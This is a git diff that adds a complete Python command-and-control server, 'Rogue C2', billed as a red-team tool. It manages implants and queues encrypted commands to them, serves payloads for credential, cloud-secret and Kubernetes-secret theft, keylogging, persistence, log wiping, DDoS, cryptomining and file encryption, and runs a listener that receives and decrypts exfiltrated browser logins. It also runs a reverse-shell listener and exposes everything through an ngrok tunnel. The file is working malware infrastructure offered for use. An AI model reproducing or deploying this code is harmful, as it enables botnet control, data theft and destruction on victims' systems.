diff --git a/rogue_c2.py b/rogue_c2.py new file mode 100644 index 0000000..8c7b926 --- /dev/null +++ b/rogue_c2.py @@ -0,0 +1,1968 @@ +#!/usr/bin/env python3 +from flask import Flask, request, jsonify, render_template_string +import threading, base64, os, socket, time +import zipfile, json +from Cryptodome.Cipher import AES +from datetime import datetime +import subprocess +import requests +from collections import defaultdict +import hashlib + +app = Flask(__name__) +app.secret_key = 'RogueC2_RedTeam_v2' + +# === Configuration === +SECRET_KEY = b'6767BabyROGUE!&%5' +EXFIL_DECRYPT_KEY = b'magicRogueSEE!333' +C2_PORT = 4444 +EXFIL_PORT = 9091 +PAYLOAD_PORT = 8000 + +# Storage - using defaultdict for better handling +connected_bots = set() +pending_commands = defaultdict(list) +command_results = defaultdict(list) +bot_info = {} +# Map IP to permanent bot ID +ip_to_bot_id = {} + +def encrypt_response(msg): + cipher = AES.new(SECRET_KEY, AES.MODE_EAX) + ciphertext, tag = cipher.encrypt_and_digest(msg.encode()) + return base64.b64encode(cipher.nonce + tag + ciphertext) + +def decrypt_command(data): + data = base64.b64decode(data) + nonce, tag, ciphertext = data[:16], data[16:32], data[32:] + cipher = AES.new(SECRET_KEY, AES.MODE_EAX, nonce) + return cipher.decrypt_and_verify(ciphertext, tag).decode() + +def get_bot_id(client_ip, implant_id=None): + """Get or create consistent bot ID for an implant""" + # Use implant_id as primary identifier, not IP + if implant_id: + # Create bot ID based on implant hash + bot_id = f"bot_{implant_id}" + ip_to_bot_id[bot_id] = bot_id # Store by bot_id, not IP + return bot_id + + # Fallback: use IP with hash if no implant_id + if client_ip in ip_to_bot_id: + return ip_to_bot_id[client_ip] + + identifier = client_ip + bot_hash = hashlib.md5(identifier.encode()).hexdigest()[:8] + bot_id = f"bot_{client_ip.replace('.', '_')}_{bot_hash}" + ip_to_bot_id[client_ip] = bot_id + return bot_id + +# ==================== FLASK ROUTES ==================== + +@app.route('/', methods=['GET', 'POST']) +def c2_controller(): + """Main C2 endpoint - handles encrypted communications""" + if request.method == 'GET': + return "Rogue C2 Server Active - Use POST for encrypted commands" + + # Handle POST from implants + try: + client_ip = request.remote_addr + encrypted_data = request.get_data() + + if not encrypted_data: + return "No data", 400 + + # Decrypt the command + decrypted_cmd = decrypt_command(encrypted_data) + + # Handle beacon/command + if decrypted_cmd == "beacon": + # For beacon without implant_id, use IP-based ID (fallback) + beacon_id = get_bot_id(client_ip) + + # Add to connected bots + connected_bots.add(beacon_id) + + # Update bot info + if beacon_id not in bot_info: + bot_info[beacon_id] = { + 'ip': client_ip, + 'first_seen': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + 'beacon_count': 0, + 'commands_sent': 0, + 'results_received': 0, + 'implant_id': 'unknown', # Will be updated when identified + 'cloud_info': {} # Add cloud info field + } + + # Update stats + bot_info[beacon_id]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S') + bot_info[beacon_id]['beacon_count'] += 1 + + # Return pending commands or "pong" + commands = pending_commands.get(beacon_id, []) + + if commands: + command_to_execute = commands.pop(0) + response = command_to_execute + print(f"[→] Sending command to {beacon_id}: {command_to_execute}") + bot_info[beacon_id]['commands_sent'] += 1 + else: + response = "pong" + print(f"[✓] Beacon #{bot_info[beacon_id]['beacon_count']} from {beacon_id}") + + return encrypt_response(response) + + elif decrypted_cmd.startswith("result:"): + # Store result from implant + result = decrypted_cmd.replace("result:", "", 1) + + # Extract bot_id from result if possible, otherwise use IP + beacon_id = None + + # Try to find which bot this result belongs to + for bot_id in connected_bots: + if bot_id in result or client_ip in bot_info.get(bot_id, {}).get('ip', ''): + beacon_id = bot_id + break + + if not beacon_id: + # Create new bot entry if not found + beacon_id = get_bot_id(client_ip) + if beacon_id not in bot_info: + bot_info[beacon_id] = { + 'ip': client_ip, + 'first_seen': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + 'beacon_count': 1, + 'commands_sent': 0, + 'results_received': 0, + 'implant_id': 'unknown', + 'cloud_info': {} + } + + result_entry = { + 'result': result, + 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + 'client_ip': client_ip, + 'bot_id': beacon_id + } + + command_results[beacon_id].append(result_entry) + bot_info[beacon_id]['results_received'] += 1 + bot_info[beacon_id]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S') + + # Keep only last 10 results + if len(command_results[beacon_id]) > 10: + command_results[beacon_id] = command_results[beacon_id][-10:] + + print(f"[✓] Result from {beacon_id}: {result[:100]}...") + + return encrypt_response("result_received") + + elif decrypted_cmd.startswith("identify:"): + # Implant sending identification - THIS IS KEY + implant_id = decrypted_cmd.replace("identify:", "", 1).strip() + + # Use the implant's actual ID, not IP + beacon_id = get_bot_id(client_ip, implant_id) + + # Update connected bots + connected_bots.add(beacon_id) + + # Update bot info with implant_id + if beacon_id not in bot_info: + bot_info[beacon_id] = { + 'ip': client_ip, + 'first_seen': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + 'beacon_count': 0, + 'commands_sent': 0, + 'results_received': 0, + 'implant_id': implant_id, + 'cloud_info': {} + } + else: + bot_info[beacon_id]['implant_id'] = implant_id + + bot_info[beacon_id]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S') + + print(f"[+] Implant identified: {implant_id} -> Bot ID: {beacon_id}") + + return encrypt_response(f"identified:{beacon_id}") + + elif decrypted_cmd.startswith("cloud_detected:"): + # Implant reporting cloud environment + cloud_data = json.loads(decrypted_cmd.replace("cloud_detected:", "", 1)) + + # Get or create bot ID + beacon_id = get_bot_id(client_ip, cloud_data.get('implant_id', 'unknown')) + + # Store cloud info + if beacon_id not in bot_info: + bot_info[beacon_id] = { + 'ip': client_ip, + 'first_seen': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + 'beacon_count': 0, + 'commands_sent': 0, + 'results_received': 0, + 'implant_id': 'unknown' + } + + bot_info[beacon_id]['cloud_info'] = cloud_data + bot_info[beacon_id]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S') + + print(f"[CLOUD] Bot {beacon_id} detected in {cloud_data.get('provider', 'unknown')} cloud") + + return encrypt_response("cloud_info_received") + + else: + # Unknown command + return encrypt_response(f"Unknown command: {decrypted_cmd}") + + except Exception as e: + print(f"[!] C2 controller error: {e}") + return encrypt_response(f"[!] Error: {str(e)}") + +@app.route('/admin', methods=['GET']) +def admin_panel(): + """Web-based admin panel""" + admin_html = ''' + + + + R0gue C2 Admin Panel + + + +
+
+

R0gue C2 | by ek0ms savi0r

+

Server Time: {{ time }} | Active Bots: {{ bot_count }} | Commands Pending: {{ pending_count }}

+
+ +
+
Active Bots ({{ bot_count }})
+
Operations
+
Payloads
+
Advanced
+
Cloud Ops
+
Kubernetes
+
Results
+
Server Status
+
+ + +
+
+

Active Bots ({{ bot_count }})

+ {% for bot in bot_list %} +
+ {{ bot.id }} + ● Implant ID: {{ bot.implant_id }} + ● Last seen: {{ bot.last_seen }} ({{ bot.last_seen_diff }}s ago) + ● IP: {{ bot.ip }} + + + {% if bot.get('cloud_info') and bot.cloud_info %} + + ● Cloud: {{ bot.cloud_info.provider|upper if bot.cloud_info.provider != 'unknown' else 'Unknown' }} + {% if bot.cloud_info.type %} ({{ bot.cloud_info.type }}){% endif %} + + {% endif %} + +
+ Beacons: {{ bot.beacon_count }} | Cmds Sent: {{ bot.commands_sent }} | Results: {{ bot.results_received }} +
+ +
+ + + + + +
+ + {% if pending_commands.get(bot.id) %} +
+

Pending Commands:

+ {% for cmd in pending_commands[bot.id] %} +
{{ cmd }}
+ {% endfor %} +
+ {% endif %} + + {% if results.get(bot.id) %} +
+

Recent Results:

+ {% for result in results[bot.id][-5:] %} +
{{ result.timestamp }}: {{ result.result[:200] }}...
+ {% endfor %} +
+ {% endif %} +
+ {% endfor %} + + +
+

⚙️ Kubernetes Secret Stealer

+

Steal Kubernetes secrets, configs, tokens, and certificates from compromised containers

+ +
+ + + + +
+ + + +
+ Features:
+ • Complete Secret Dump: Extract all secrets from all namespaces
+ • Targeted Extraction: Steal specific secrets from specific namespaces
+ • Token Harvesting: Collect service account tokens
+ • Certificate Extraction: Steal TLS certificates
+ • ConfigMap Collection: Gather configuration data
+ • SSH Key Harvesting: Extract SSH keys from pods +
+
+ + +
+

Advanced Payloads (NEW)

+

Advanced stealth and persistence techniques for elite operations

+ +
+ + + + +
+ +
+ Description:
+ • Process Injection: Inject implant into legitimate processes for stealth
+ • Advanced File Hide: Hide files using advanced techniques (extended attributes, etc.)
+ • Advanced Cron Persist: Set up sophisticated cron-based persistence
+ • Competitor Cleaner: Remove other malware/botnets from the system +
+
+ + +
+

⚠️ File Encryption Tool (DESTRUCTIVE)

+

WARNING: This tool encrypts files and removes originals. Only use in authorized test environments!

+ +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ +
+
+
+ + + + +
+
+
+
+ + +
+
+

Quick Commands

+
+ + + + + + +
+
+ +
+

Reconnaissance & Intelligence

+
+ + + + + + +
+
+ +
+

Kubernetes Operations

+
+ + + +
+
+ +
+

Advanced Operations

+
+ + + +
+
+ + +
+

Advanced Payloads (NEW)

+
+ + + + +
+
+ +
+

File Operations

+
+ + + + + + + + + + + +
+
+ +
+

Persistence & Stealth

+
+ + + + + +
+
+ +
+

Monitoring & Collection

+
+ + + + + +
+
+ +
+

Lateral Movement & Propagation

+
+ + + + + +
+
+ +
+

DDoS & Cryptomining

+
+ + + +
+
+ +
+

Implant Management

+
+ + + + +
+
+ +
+

Data Exfiltration

+
+ + + + +
+
+
+ + +
+
+

Payload Management

+
+ + +
+ +

Available Payloads

+
+
+ System Reconnaissance +

Comprehensive system/network intelligence gathering

+ + +
+
+ LinPEAS Light +

Linux privilege escalation checker

+ + +
+
+ Hash Dumper +

Extract password hashes from system

+ + +
+
+ Browser Stealer +

Extract browser credentials and data

+ + +
+
+ Keylogger +

Keystroke logging module

+ + +
+
+ Screenshot Capture +

Periodic screen capture

+ + +
+
+ Log Cleaner +

Remove forensic traces from logs

+ + +
+
+ SSH Spray +

SSH credential spraying attack

+ + +
+
+ DNS Tunnel +

DNS-based covert C2 channel

+ + +
+
+ Auto Deploy +

Automated network deployment

+ + +
+ +
+ Process Injection +

Inject implant into processes for stealth

+ + +
+
+ Advanced File Hider +

Hide files using advanced techniques

+ + +
+
+ Advanced Cron Persistence +

Sophisticated cron-based persistence

+ + +
+
+ Competitor Cleaner +

Remove other malware/botnets from system

+ + +
+ +
+ Cloud Detector +

Detect cloud environment (AWS/Azure/GCP)

+ + +
+
+ AWS Credential Stealer +

Steal AWS credentials and metadata

+ + +
+
+ Azure Cred Harvester +

Harvest Azure credentials and tokens

+ + +
+
+ Container Escape +

Escape from containerized environments

+ + +
+ +
+ Kubernetes Secret Stealer +

Steal Kubernetes secrets, tokens, and certificates

+ + +
+ +
+ File Encryption +

AES-256 file encryption/decryption with system-wide modes

+ + +
+
+
+
+ + +
+
+

Advanced Payloads Suite

+

Elite stealth, persistence, and system manipulation techniques for advanced operators

+ +
+
+

Process Injection

+

Inject Rogue implant into legitimate system processes (systemd, sshd, etc.) for maximum stealth. Bypasses traditional process monitoring.

+
+ + +
+
+ Features:
+ • Inject into running processes
+ • Memory-only execution
+ • Bypass file scanning
+ • Persist across reboots +
+
+ +
+

Advanced File Hider

+

Hide implant files using extended attributes, hidden directories, and filesystem manipulation techniques. Makes files invisible to standard tools.

+
+ + +
+
+ Features:
+ • Extended attributes hiding
+ • Dot-prefix manipulation
+ • Filesystem tunneling
+ • Anti-forensics techniques +
+
+ +
+

Advanced Cron Persistence

+

Set up sophisticated cron-based persistence with randomization, obfuscation, and anti-detection mechanisms. Harder to detect than basic cron jobs.

+
+ + +
+
+ Features:
+ • Randomized execution times
+ • Obfuscated cron entries
+ • Multiple backup methods
+ • Self-healing capability +
+
+ +
+

Competitor Cleaner

+

Identify and remove other malware, botnets, and competitor implants from the system. Clean up the environment for exclusive control.

+
+ + +
+
+ Features:
+ • Detect common malware
+ • Remove competitor C2
+ • Clean persistence methods
+ • System sanitization +
+
+
+ +
+

Advanced Operations Console

+
+ + + +
+ +
+ + + + +
+
+
+
+ + +
+
+

☁️ Cloud-Aware Operations

+

Specialized tools for cloud environment exploitation

+ +
+
+

Cloud Detection

+

Detect cloud environment and adapt implant behavior

+
+ + +
+
+ +
+

AWS Operations

+

AWS-specific credential harvesting and enumeration

+
+ + + +
+
+ +
+

Azure Operations

+

Azure credential harvesting and resource discovery

+
+ + + +
+
+ +
+

GCP Operations

+

Google Cloud Platform credential harvesting

+
+ + + +
+
+ +
+

Container Operations

+

Container escape and Kubernetes exploitation

+
+ + + +
+
+
+ +
+

Cloud Environment Scanner

+
+ + + +
+ +
+ + + +
+
+
+
+ + +
+
+

⚙️ Kubernetes Operations

+

Specialized tools for Kubernetes cluster exploitation and secret stealing

+ +
+
+

Complete Secret Stealing

+

Steal ALL secrets, tokens, certificates, and configurations from the entire Kubernetes cluster

+
+ + + +
+
+ Scope:
+ • All namespaces
+ • All secrets
+ • Service account tokens
+ • TLS certificates
+ • SSH keys from pods
+ • ConfigMaps
+ • Persistent volumes +
+
+ +
+

Targeted Secret Extraction

+

Steal specific secrets from specific namespaces

+
+
+
+ + +
+
+ + +
+
+
+ + + +
+
+
+ +
+

Advanced Kubernetes Operations

+

Advanced Kubernetes exploitation techniques

+
+ + + +
+
+ +
+

Kubernetes Reconnaissance

+

Gather intelligence about the Kubernetes cluster

+
+ + + + +
+
+
+ +
+

Kubernetes Secret Types

+
+
+ Service Tokens +
Authentication tokens for services
+
+
+ TLS Certificates +
SSL/TLS certificates for services
+
+
+ Docker Registry +
Container registry credentials
+
+
+ SSH Keys +
SSH keys for pod access
+
+
+ API Tokens +
Kubernetes API access tokens
+
+
+ Cloud Credentials +
AWS/Azure/GCP cloud credentials
+
+
+
+
+
+ + +
+
+

Command Results History

+ {% for bot_id, bot_results in results.items() %} +
+

{{ bot_id }}

+
+ {% for result in bot_results[-10:] %} +
+ {{ result.timestamp }}
+ IP: {{ result.client_ip }}
+
{{ result.result[:500] }}{% if result.result|length > 500 %}...{% endif %}
+
+ {% endfor %} +
+
+ {% endfor %} +
+
+ + +
+
+

Server Status

+

Ngrok URL: {{ ngrok_url }}

+

C2 Port: {{ c2_port }}

+

Exfil Port: {{ exfil_port }}

+

Reverse Shell Port: 9001

+

Payloads Repository: {{ payload_url }}

+

Active Bots: {{ bot_count }}

+

Pending Commands: {{ pending_count }}

+

Advanced Payloads: 4 (New)

+

Cloud Payloads: 5 (New)

+

Kubernetes Payloads: 1 (New - k8s_secret_stealer.py)

+

Uptime: Calculating...

+ +

Quick Actions

+
+ + + + +
+
+
+ +
+

Manual Command

+ + + + + + + + + + + +
+
+ + + + + ''' + + # Prepare bot list with time since last seen + current_time = datetime.now() + bot_list = [] + + # Clean up old bots (not seen for 5 minutes) + bots_to_remove = [] + for bot_id in list(connected_bots): + if bot_id in bot_info: + last_seen_str = bot_info[bot_id].get('last_seen') + if last_seen_str: + last_seen_time = datetime.strptime(last_seen_str, '%Y-%m-%d %H:%M:%S') + seconds_ago = int((current_time - last_seen_time).total_seconds()) + + if seconds_ago > 300: # 5 minutes + bots_to_remove.append(bot_id) + else: + bot_list.append({ + 'id': bot_id, + 'ip': bot_info[bot_id].get('ip', 'Unknown'), + 'implant_id': bot_info[bot_id].get('implant_id', 'unknown'), + 'last_seen': last_seen_str, + 'last_seen_diff': seconds_ago, + 'beacon_count': bot_info[bot_id].get('beacon_count', 0), + 'commands_sent': bot_info[bot_id].get('commands_sent', 0), + 'results_received': bot_info[bot_id].get('results_received', 0), + 'cloud_info': bot_info[bot_id].get('cloud_info', {}) + }) + + # Remove old bots + for bot_id in bots_to_remove: + connected_bots.discard(bot_id) + if bot_id in bot_info: + del bot_info[bot_id] + + # Sort by most recent + bot_list.sort(key=lambda x: x['last_seen_diff']) + + pending_count = sum(len(cmds) for cmds in pending_commands.values()) + + # Get ngrok URL if available + ngrok_url = "Not available" + try: + r = requests.get("http://localhost:4040/api/tunnels", timeout=2) + data = r.json() + for tunnel in data["tunnels"]: + if tunnel["proto"] == "https": + ngrok_url = tunnel["public_url"] + break + except: + pass + + # Build payload URL + payload_url = f"{ngrok_url}/payloads/" if ngrok_url != "Not available" else f"http://localhost:{C2_PORT}/payloads/" + + return render_template_string(admin_html, + time=datetime.now().strftime('%Y-%m-%d %H:%M:%S'), + bot_list=bot_list, + bot_count=len(bot_list), + results=command_results, + pending_commands=pending_commands, + pending_count=pending_count, + ngrok_url=ngrok_url, + payload_url=payload_url, + c2_port=C2_PORT, + exfil_port=EXFIL_PORT + ) + +@app.route('/command', methods=['POST']) +def add_command(): + """Add command for a bot""" + try: + data = request.json + beacon_id = data.get('beacon_id') + command = data.get('command') + + if not beacon_id or not command: + return jsonify({'error': 'Missing beacon_id or command'}), 400 + + pending_commands[beacon_id].append(command) + + print(f"[+] Command queued for {beacon_id}: {command}") + + return jsonify({ + 'status': 'queued', + 'command_id': f"cmd_{int(time.time())}_{len(pending_commands[beacon_id])}", + 'beacon_id': beacon_id + }) + + except Exception as e: + print(f"[-] Command error: {e}") + return jsonify({'error': str(e)}), 500 + +@app.route('/k8s_command', methods=['POST']) +def k8s_command(): + """Send Kubernetes-specific command""" + try: + data = request.json + beacon_id = data.get('beacon_id') + command = data.get('command') + namespace = data.get('namespace', 'default') + secret = data.get('secret', '') + + if not beacon_id or not command: + return jsonify({'error': 'Missing beacon_id or command'}), 400 + + # Build the command + if command == 'steal_all': + actual_command = 'trigger_k8s_steal' + elif command == 'targeted': + actual_command = f'trigger_k8s_target {namespace}' + if secret: + actual_command += f' {secret}' + elif command == 'creds': + actual_command = 'trigger_k8s_creds' + else: + actual_command = command + + pending_commands[beacon_id].append(actual_command) + + print(f"[K8S] Kubernetes command queued for {beacon_id}: {actual_command}") + + return jsonify({ + 'status': 'queued', + 'command': command, + 'actual_command': actual_command + }) + + except Exception as e: + print(f"[-] Kubernetes command error: {e}") + return jsonify({'error': str(e)}), 500 + +@app.route('/clear_pending/', methods=['POST']) +def clear_pending(bot_id): + """Clear pending commands for a bot""" + if bot_id in pending_commands: + pending_commands[bot_id] = [] + print(f"[+] Cleared pending commands for {bot_id}") + return jsonify({'status': 'cleared', 'bot_id': bot_id}) + return jsonify({'error': 'Bot not found'}), 404 + +@app.route('/beacons') +def list_beacons(): + """List all active beacons""" + return jsonify({ + 'beacons': list(connected_bots), + 'total': len(connected_bots), + 'server_time': datetime.now().isoformat() + }) + +@app.route('/payloads/') +def serve_payload(filename): + """Serve payload files directly from the payloads directory""" + payload_dir = os.path.join(os.getcwd(), "payloads") + file_path = os.path.join(payload_dir, filename) + + if os.path.exists(file_path) and os.path.isfile(file_path): + # Check file extension for proper content type + if filename.endswith('.py'): + content_type = 'text/plain' + else: + content_type = 'application/octet-stream' + + with open(file_path, 'rb') as f: + response = f.read() + + return response, 200, {'Content-Type': content_type} + return "Payload not found", 404 + +@app.route('/payloads/') +def list_payloads(): + """List available payloads""" + payload_dir = os.path.join(os.getcwd(), "payloads") + files = [] + if os.path.exists(payload_dir): + files = os.listdir(payload_dir) + + html = f""" + + + Rogue C2 Payload Repository + + + +

Rogue C2 Payload Repository

+

Total Payloads: {len([f for f in files if f.endswith('.py')])}

+

Advanced Payloads (NEW): 4

+

Cloud Payloads (NEW): 5

+

Kubernetes Payloads (NEW): 1 (k8s_secret_stealer.py)

+ + + + + """ + + return html + +@app.route('/ngrok_status') +def ngrok_status(): + """Check ngrok status""" + try: + r = requests.get("http://localhost:4040/api/tunnels") + data = r.json() + for tunnel in data["tunnels"]: + if tunnel["proto"] == "https": + return jsonify({ + 'status': 'active', + 'url': tunnel["public_url"], + 'proto': tunnel["proto"] + }) + return jsonify({'status': 'no_tunnels'}) + except: + return jsonify({'status': 'error', 'message': 'Ngrok not running'}) + +# ==================== EXFIL LISTENER ==================== + +def exfil_listener(): + """Exfiltration listener for encrypted data""" + exfil_server = socket.socket() + exfil_server.bind(('0.0.0.0', EXFIL_PORT)) + exfil_server.listen(5) + print(f"[EXFIL] Listening on port {EXFIL_PORT} for incoming encrypted data...") + + while True: + conn, addr = exfil_server.accept() + print(f"[EXFIL] Receiving from {addr[0]}...") + data = b"" + while True: + chunk = conn.recv(4096) + if not chunk: + break + data += chunk + conn.close() + + raw_file = f"exfil_raw_{addr[0].replace('.', '_')}.bin" + with open(raw_file, "wb") as f: + f.write(data) + print(f"[EXFIL] Raw dump saved: {raw_file}") + + try: + nonce, tag, ciphertext = data[:16], data[16:32], data[32:] + cipher = AES.new(EXFIL_DECRYPT_KEY, AES.MODE_EAX, nonce) + plaintext = cipher.decrypt_and_verify(ciphertext, tag) + + ts = datetime.now().strftime("%Y%m%d_%H%M%S") + out_file = f"exfil_dec_{addr[0].replace('.', '_')}_{ts}.zip" + with open(out_file, "wb") as f: + f.write(plaintext) + print(f"[EXFIL] Decrypted archive saved: {out_file}") + + extracted_dir = out_file + "_unzipped" + with zipfile.ZipFile(out_file, 'r') as zip_ref: + zip_ref.extractall(extracted_dir) + + for root, _, files in os.walk(extracted_dir): + for file in files: + if file == "logins.json": + path = os.path.join(root, file) + print(f"\n Parsing Firefox logins.json: {path}") + with open(path, "r", encoding="utf-8") as f: + data = json.load(f) + for entry in data.get("logins", []): + print(f" - Site: {entry.get('hostname')}") + print(f" Username (enc): {entry.get('encryptedUsername')}") + print(f" Password (enc): {entry.get('encryptedPassword')}") + except Exception as e: + print(f"[!] Decryption failed: {e}") + +# ==================== REVERSE SHELL LISTENER ==================== + +def reverse_shell_listener(): + """Reverse shell listener""" + server = socket.socket() + server.bind(('0.0.0.0', 9001)) + server.listen(5) + print("[REVERSE SHELL] Listening on port 9001...") + while True: + conn, addr = server.accept() + print(f"[REVERSE SHELL] Connection from {addr}") + threading.Thread(target=handle_reverse_shell, args=(conn, addr)).start() + +def handle_reverse_shell(conn, addr): + """Handle reverse shell session""" + try: + conn.send(b"Rogue C2 Reverse Shell - Connected\n") + while True: + conn.send(b"$ ") + cmd = conn.recv(1024).decode().strip() + if cmd.lower() == "exit": + break + output = subprocess.getoutput(cmd) + conn.send(output.encode() + b"\n") + except: + pass + finally: + conn.close() + print(f"[REVERSE SHELL] Disconnected from {addr}") + +# ==================== STARTUP ==================== + +def start_ngrok(port=C2_PORT): + """Start ngrok tunnel""" + # Kill any existing ngrok processes + subprocess.run(["pkill", "-f", "ngrok"], stderr=subprocess.DEVNULL) + time.sleep(2) + + # Start new ngrok tunnel + subprocess.Popen(["ngrok", "http", str(port)], stdout=subprocess.DEVNULL) + time.sleep(5) + + try: + r = requests.get("http://localhost:4040/api/tunnels") + data = r.json() + for tunnel in data["tunnels"]: + if tunnel["proto"] == "https": + return tunnel["public_url"] + except Exception as e: + print(f"[!] Ngrok failed: {e}") + return None + +def start_payload_server(): + """Start HTTP server for payloads (optional - kept for backward compatibility)""" + payload_path = os.path.join(os.getcwd(), "payloads") + if not os.path.exists(payload_path): + os.makedirs(payload_path, exist_ok=True) + print(f"[!] Created payloads directory: {payload_path}") + print(f"[✓] Payloads will be served via Flask at /payloads/") + + # Payloads are served directly by Flask at /payloads/ + +def main(): + """Main startup function""" + print("\n" + "="*60) + print(" ROGUE C2 SERVER - Complete Command & Control") + print("="*60) + + # Start listeners in threads + threading.Thread(target=exfil_listener, daemon=True).start() + print(f"[✓] Exfil listener started on port {EXFIL_PORT}") + + threading.Thread(target=reverse_shell_listener, daemon=True).start() + print(f"[✓] Reverse shell listener started on port 9001") + + # Initialize payloads directory + start_payload_server() + + # Start ngrok + print("[*] Starting ngrok tunnel...") + ngrok_url = start_ngrok() + + if ngrok_url: + hostname = ngrok_url.replace("https://", "").replace("http://", "").rstrip("/") + print(f"\n[✓] C2 SERVER IS LIVE!") + print(f"[NGROK] C2 URL: {ngrok_url}") + print(f"[NGROK] Hostname: {hostname}") + print(f"[NGROK] Payloads: {ngrok_url}/payloads/") + print(f"\n[→] Set in implant:") + print(f" C2_HOST = '{hostname}'") + print(f" C2_PORT = 443") + print(f" PAYLOAD_REPO = '{ngrok_url}/payloads/'") + else: + print("[!] Ngrok tunnel failed. Using localhost.") + print(f"[→] Local C2: http://localhost:{C2_PORT}") + print(f"[→] Local Payloads: http://localhost:{C2_PORT}/payloads/") + + print(f"\n[ADMIN] Web Panel: http://localhost:{C2_PORT}/admin") + print(f"[EXFIL] Listener: 0.0.0.0:{EXFIL_PORT}") + print(f"[SHELL] Reverse Shell: 0.0.0.0:9001") + print(f"[PAYLOADS] Available at: {ngrok_url}/payloads/" if ngrok_url else f"[PAYLOADS] Available at: http://localhost:{C2_PORT}/payloads/") + print(f"[ADVANCED] 4 New Payloads Added: Process Injection, File Hider, Cron Persist, Competitor Cleaner") + print(f"[CLOUD] 5 Cloud Payloads Added: Cloud Detector, AWS/Azure/GCP Stealers, Container Escape") + print(f"[KUBERNETES] 1 New Payload Added: k8s_secret_stealer.py") + print(f"[FILE ENCRYPTION] System-wide modes: system_test, system_user, system_aggressive, system_destructive") + print(f"\n[K8S FEATURES]") + print(f" • Complete secret extraction from all namespaces") + print(f" • Targeted secret stealing by namespace") + print(f" • Service account token harvesting") + print(f" • TLS certificate extraction") + print(f" • ConfigMap collection") + print(f" • SSH key harvesting from pods") + print("\n" + "="*60) + + # Start Flask server + app.run(host='0.0.0.0', port=C2_PORT, debug=False, threaded=True) + +if __name__ == "__main__": + main()